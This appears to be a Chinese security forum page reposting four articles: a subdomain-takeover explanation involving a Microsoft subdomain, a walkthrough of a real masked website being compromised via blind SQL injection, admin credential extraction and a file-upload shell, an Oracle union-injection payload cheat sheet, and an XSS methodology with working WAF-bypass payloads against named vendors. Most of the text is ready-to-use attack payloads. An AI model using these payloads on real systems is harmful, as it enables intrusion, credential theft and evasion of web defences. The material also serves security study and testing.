确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:
C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
可以得出:
Name:    subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:
C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn
        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理
A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。

0X05    漏洞危害
* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。

0X06    测试方法
1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500

0X07    防御方案
* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME

 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
 

[转]一次Web渗透经历:从SQL注入到Getshell过程

zake 发表了文章 • 3 个评论 • 242 次浏览 • 2019-04-07 22:00 • 来自相关话题

这是一篇半手注的文章,中间有用Burp来批量跑表名和字段名的,感觉可以学习一下。
以下为转载:
转自:看雪    作者:毅种循环
原文:https://bbs.pediy.com/thread-249188.htm
 
目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点:






1.1、 and 1=1和and 1=2





 
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)











数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
 
2、判断是数字型还是字符型,然后判断是什么数据库2.1、?id=1 and (select count(*) from sysobjects)>0  //正常为mssql,不同为access2.2、?id=1 and (select count(*) from msysobjects)>0   //msysobjects 是access3、爆破表名?id=1295 and exists(select top 1 1 from admin)存在:





 
不存在:





 
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。





 4、爆破字段。?id=1295 and exists(select user_name from admin)存在:





 
不存在:





 



5、跑字段数据。
5.1.长度:?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)user_name:





 
password:





 
5.2、字段数据。
user_name第一个字符:?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0



 
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99



 
查ASCII表得到第一个字符为【c】





 
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
 
找后台:
1、爆破






御剑无结果,尝试使用google hacking语法 
2、谷歌





 
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp





 
慢慢测试可以找到其后台。










 
Getshell
上传:





 
抓包直接改后缀:











 完成收工。 查看全部
这是一篇半手注的文章,中间有用Burp来批量跑表名和字段名的,感觉可以学习一下。
以下为转载:
转自:看雪    作者:毅种循环
原文:https://bbs.pediy.com/thread-249188.htm
 
目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点

784203_7VP726DTTC2VJ7Y.jpg


1.1、 and 1=1和and 1=2

784203_CRTT639MF9VJDVQ.jpg

 
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)

784203_AUNMTZQ3E4UU7G7.jpg


784203_GU24YWASYE6VJDQ.jpg


数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
 
2、判断是数字型还是字符型,然后判断是什么数据库
2.1、?id=1 and (select count(*) from sysobjects)>0  
//正常为mssql,不同为access
2.2、?id=1 and (select count(*) from msysobjects)>0   
//msysobjects 是access
3、爆破表名
?id=1295 and exists(select top 1 1 from admin)
存在:

784203_VUF7NZYUXTEDUFR.jpg

 
不存在:

784203_WP3GRTXMWFDXKUX.jpg

 
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。

784203_KGR7HHT9MDP73DW.jpg

 4、爆破字段。
?id=1295 and exists(select user_name from admin)
存在:

784203_RFHNM9AQXU7FK4V.jpg

 
不存在:

784203_S3RTKWM5K42X8WB.jpg

 
784203_BFFZGH4ZPK6A7W3.jpg

5、跑字段数据。
5.1.长度:
?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)
user_name:

784203_7VP726DTTC2VJ7Y.jpg

 
password:

784203_43Y6AKBEUXYE39R.jpg

 
5.2、字段数据。
user_name第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0
784203_YYDMR6TSAW4FUAK.jpg

 
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99
784203_JWX5K9FCJF3XT4S.jpg

 
查ASCII表得到第一个字符为【c】

784203_79F7GHKDPUXW59Q.jpg

 
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
 
找后台:
1、爆破

784203_C6GBPRUA4CX28SW.jpg


御剑无结果,尝试使用google hacking语法 
2、谷歌

784203_JEW2UECPBKYQP2V.jpg

 
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp

784203_WGWXR6WKT5DW7QC.jpg

 
慢慢测试可以找到其后台。

784203_CRTT639MF9VJDVQ.jpg


784203_FC9VNYEXB7EABBG.jpg

 
Getshell
上传:

784203_PDKGM8XRTAQTTPM.jpg

 
抓包直接改后缀:

784203_NCK959XN2JV2RG3.jpg


784203_WMADCJSDDVVKNGJ.jpg


 完成收工。

Oracle数据库注入总结

main 发表了文章 • 0 个评论 • 276 次浏览 • 2019-03-31 16:10 • 来自相关话题

一、基础知识:Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。

默认用户:

SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的 

默认系统和数据库:

SYSTEM
SYSAUX 

探测版本:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:

SELECT user FROM dual;

列出DBA账户:(超级管理员)

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES'; (超级管理员), 列出DBA和对应权限 

列出所有用户:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限) 

列出权限:

SELECT * FROM session_privs; —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 

当前数据库:

SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL; 

列出表名:

SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables; 

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户'; 

通过字段名找到对应表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
注: 表名都是大写

查询第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数) 

查询第N个字符:

SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’ 

字符转ASCII码:

SELECT ascii('A') FROM dual; — 返回65 

ASCII值转字符:

SELECT chr(65) FROM dual; — 返回A 

类型转换:

SELECT CAST(1 AS char) FROM dual;

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 ) 

拼接字符:

SELECT 'A' || 'B' FROM dual; — 返回AB
 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)'错误显示
' and 1=1 --显示正常
则为单引号闭合类型
2.判断列数:' order by 3 --
3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)' union select 1,'2','3' from dual --
5.获取数据库版本信息:' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名:' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名:
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

7.获取关键表中的列/字段名:' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)' union select SNAME,SUSER,SPWD from T_USER --
 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
  查看全部
一、基础知识:
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。


默认用户:


SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的
 


默认系统和数据库:


SYSTEM
SYSAUX
 


探测版本:


SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’


当前用户:


SELECT user FROM dual;


列出DBA账户:(超级管理员)


SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES';             (超级管理员), 列出DBA和对应权限
 


列出所有用户:


SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限)
 


列出权限:


SELECT * FROM session_privs;    —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
 


当前数据库:


SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;
 


列出表名:


SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;
 


列出字段名:


SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户';
 


通过字段名找到对应表:


SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';  

注: 表名都是大写


查询第N行:


SELECT username FROM (SELECT ROWNUM  r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
 


查询第N个字符:


SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’
 


字符转ASCII码:


SELECT ascii('A') FROM dual; — 返回65
 


ASCII值转字符:


SELECT chr(65) FROM dual; — 返回A
 


类型转换:


SELECT CAST(1 AS char) FROM dual;   

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 )
 


拼接字符:


SELECT 'A' || 'B' FROM dual; — 返回AB

 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)
'错误显示
' and 1=1 --显示正常
则为单引号闭合类型

2.判断列数:
' order by 3 --

3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)
' union select 1,'2','3' from dual --

5.获取数据库版本信息
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名
' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --


7.获取关键表中的列/字段名
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)
' union select SNAME,SUSER,SPWD from T_USER --

 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
 

绕过WAF的XSS检测机制(转)

wuyou 发表了文章 • 0 个评论 • 181 次浏览 • 2019-03-24 19:50 • 来自相关话题

 前言
本文提出了一种定义明确的方法来绕过跨站点脚本(XSS)安全机制,通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段:确定payload结构,测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后,必要时可以将payload进行混淆或其他调整。
 
 介绍
跨站点脚本(XSS)是最常见的Web应用程序漏洞之一。通过清理用户输入,基于上下文转义输出,正确使用文档对象模型(DOM)接收器和源,实施适当的跨域资源共享(CORS)策略和其他安全策略,可以完全阻止它。尽管这些防御技术是公共知识,但Web应用程序防火墙(WAF)或自定义过滤器被广泛用于添加另一层安全性,以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习,但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS payload的方法,该payload与这种安全机制使用的正则表达式不匹配。

 HTML CONTEXT
当用户输入被显示在网页的HTML代码中时,它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
内标签–<input type="text" value="$input">外标签–<span>You entered $input</span> 外标签此上下文的‘<'负责启动HTML标签。根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式:<svg [size=16]– 如果通过,则不进行任何标签检查[/size]<dev [size=16]– 如果失败, [/size]<[a-z]+x<dev [size=16]– 如果通过,[/size]^<[a-z]+<dEv[size=16] – 如果失败, [/size]<[a-zA-Z]+<d3V[size=16] – 如果失败, [/size]<[a-zA-Z0-9]+<d|3v[size=16] – 如果失败, [/size]<.+如果安全机制不允许这些探针,则不能绕过它。由于误报率高,这种严格的规则不被鼓励去使用。如果上述的任何一个探针未被禁止,则有许多编写payload的方案。   Payload方案#1<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}找到适当的{tag}值后,下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行:<tag xxx[size=16] – 如果失败,[/size]{space}<tag%09xxx[size=16] – 如果失败,[/size][s]<tag%09%09xxx[size=16] -如果失败, [/size]s+<tag/xxx [size=16]– 如果失败,[/size][s/]+<tag%0axxx [size=16]-如果失败, [/size][sn]+<tag%0dxxx> [size=16]-如果失败, [/size][snr+]+<tag/~/xxx[size=16] – 如果失败, [/size].*+事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式onw+或黑名单相匹配,例如on(load|click|error|show)。第一个正则表达式非常严格且不可能被绕过,然而有些不太知名的事件处理程序可能不在黑名单中,经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。<tag{filler}onxxx[size=16] – 如果失败,[/size]onw+[size=16]如果通过, [/size]on(load|click|error|show)<tag{filler}onclick[size=16] – 如果通过,则没有事件处理程序检查正则表达式。[/size]如果正则的结果是onw+,则不能绕过它,因为所有事件处理程序都以on开始。在这种情况下,应该继续下一个payload。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单,则应继续执行下一个payload。   根据我对WAF的经验,我发现一些事件处理程序没有在黑名单中:[code]onauxclickondblclickoncontextmenuonmouseleaveontouchcancel[/code]下一个要执行的组件是JavaScript代码。它是payload的活动部分,但是匹配它不需要假设正则表达式,因为JavaScript代码是活动的,因此无法通过预定义模式进行匹配。此时,payload的所有组件都放在一起,只需要关闭payload,通过以下方式完成:<payload><payload<payload{space}<payload//<payload%0a<payload%0d<payload%09应该注意的是,HTML规范允许<tag{white space}{anything here}>这表明例如:<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>是有效的HTML标签。因此,HTML标签的此属性使攻击者可以通过上述方式注入标签。 Payload方案#2<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}测试填充符(例如结束字符串)类似先前的payload方案。必须注意的是,? 可以在URL的末尾使用(如果在URL之后没有使用填充符),而不是结束标记。每个经过? 的字符都将被视为URL的一部分,直到遇到> 。通过使用<script>标记,很可能会被大多数安全规则检测到。标签<object>的payload可以用类似的payload方案编写:<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}  Payload方案#3这个payload方案有两种变体:plain和obfuscatable。plain变体通常与诸如href[s]{0,}=[s]{0,}javascript:模式相匹配。其结构如下:<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}obfuscatable payload变体有如下结构:<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}这两个变体之间的显著差异是{special}组件和{quote}s。{special}[size=16]指字符串[/size]javascript[size=16]的混淆版本,这可以使用换行符和水平制表符来混淆,如下所示:[/size]j%0aAv%0dasCr%09ipt:J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:在某些情况下,数字字符编码也可用于绕过检测。可以使用十进制和十六进制。Javascript&colon;javascript:显然有必要时两种混淆技术可以一起使用。Java%0a%0d%09script&colon;  可执行和不可执行上下文根据注入的payload是否可以在没有任何特殊帮助的情况下执行,外标签上下文可以进一步分为可执行和不可执行上下文。当用户输入显示在HTML注释中时,<--$input-->或者在以下标记之间,会发生不可执行的上下文:[code]<style><title><noembed><template><noscript><textarea>[/code]为了执行payload,必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing tag}组件的测试,可以按如下方式进行:</tag></tAg/x></tag{space}></tag//></tag%0a></tag%0d></tag%09>一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section} 就可以用于成功注入。  内部标签 在属性值内/作为属性值此上下文的主字符是用于包含属性值的引号。例如,如果输入被显示为<input value="$input" type="text">那么主字符应该是" 。 然而在某些情况下,主字符不需要突破上下文。 在事件处理程序内部如果输入显示在与事件处理程序关联的值中,例如,<tag event_handler="function($input)";触发事件处理程序将执行该值中存在的JavaScript。  在src属性里面如果输入被显示为src脚本或iframe标记的属性值,例如<script src="$input">,可以直接加载恶意脚本(在脚本标记的情况下)或网页(在iframe标记的情况下)如下:<script src="http://example.com/malicious.js">绕过URL匹配正则表达式://example.com/xss.js[size=16]绕过 [/size]http(?s)://////////example.com/xss.js[size=16]绕过[/size](?:http(?s):?)?//////\/example.com/xss.js[size=16]绕过 [/size](?:http(?s):?)?//+
 在srcdoc属性里面
如果输入被显示为srcdoc
iframe标签的属性值,例如<iframe srcdoc="$input">,可以提供一个转义(使用HTML实体)HTML文档作为payload,如下所示:<iframe srcdoc="<svg/onload=alert()>">
 通用属性
上述所有情况都不需要任何旁路技术,除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见,最常见的类型如下:<input type="text" value=""/onfocus="alert()$input">
基于相关标签的交互性,它可以进而分为两类。

 可交互的
当输入显示在可以与例如点击,悬停,聚焦等交互的标签内时,突破上下文只需要引用一句话。在这种情况下的payload方案是:{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
可以使用以下探针完成检查是否被WAF阻止:x"y
事件处理程序在这里起着重要作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,并且由用户来查找这样的情况,但是有一些事件处理程序可以绑定到下面列出的任何标签:[code]onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
[/code]
测试其余组件可以使用前面已经讨论过的方法。

 难控制的
当输入显示在无法与之交互的标签内时,需要使用标签本身来执行payload。这种情况的payload方案是:{quote}>{any payload scheme from html context section}
 JavaScript上下文
 作为字符串变量
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。var name = '$input';
 Payload方案#1{quote}{delimiter}{javascript}{delimiter}{quote}
分隔符通常是JavaScipt运算符,诸如^ 。例如,如果用户输入落在单个带引号的字符串变量中,则payload可能是:[code]'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
[/code]

 Payload方案#2
{quote}{delimiter}{javascript}//
它与之前的payload方案类似,只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是:[code]'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
[/code]
 在代码块中
输入经常被显示到代码块中。例如,如果用户已付费订阅且超过18岁,则网页会执行某些操作。具有反射输入的JavaScript代码如下所示:[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
[/code]
假设我们没有为订阅付费。为了解决这个问题,我们需要绕过if (subscription)块,这可以通过关闭条件块,函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将显示如下:[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
[/code]
这里有个缩进视图用于了解payload的工作原理:function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
});[size=16]关闭当前的函数调用。[/size]第一个} 关闭if (age > 18)块。
第二个} 关闭if subscription块。alert();[size=16]用作测试的虚拟函数。[/size]if(true){[size=16]启动一个[/size]if [size=16]条件块以保持代码在语法上有效,因为代码后面有一个else块。[/size][size=16]最后,[/size]('[size=16]结合我们最初注入的函数调用的剩余部分。[/size]
它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程,建议使用语法高亮显示器,例如Sublime Text。
payload的结构取决于代码本身,这种不确定性使得检测非常困难。但如果有需要,可以对代码进行混淆处理。例如,上面代码块的payload可以写成:');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
如果输入显示到JavaScript代码中,无论它是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试,因为它很简单但也可能被检测到。

 当前绕过WAF方案
在研究期间,共绕过了8个WAF。我对这些供应商进行了披露,因此一些(或所有)旁路可能因此被修补。以下是绕过的WAF名称,payload和旁路技术列表:
名称: Cloudflare
payload: <a"/onclick=(confirm)()>click
旁路技术:非空白填充
名称: Wordfence
Payload: <a/href=javascript&colon;alert()>click
旁路技术:数字字符编码
名称: Barracuda
Payload: <a/href=Java%0a%0d%09script&colon;alert()>click
旁路技术:数字字符编码
名称: Akamai
payload: <d3v/onauxclick=[2].some(confirm)>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: Comodo
Payload: <d3v/onauxclick=(((confirm)))``>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: F5
payload: <d3v/onmouseleave=[2].some(confirm)>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: ModSecurity
payload: <details/open/ontoggle=alert()>
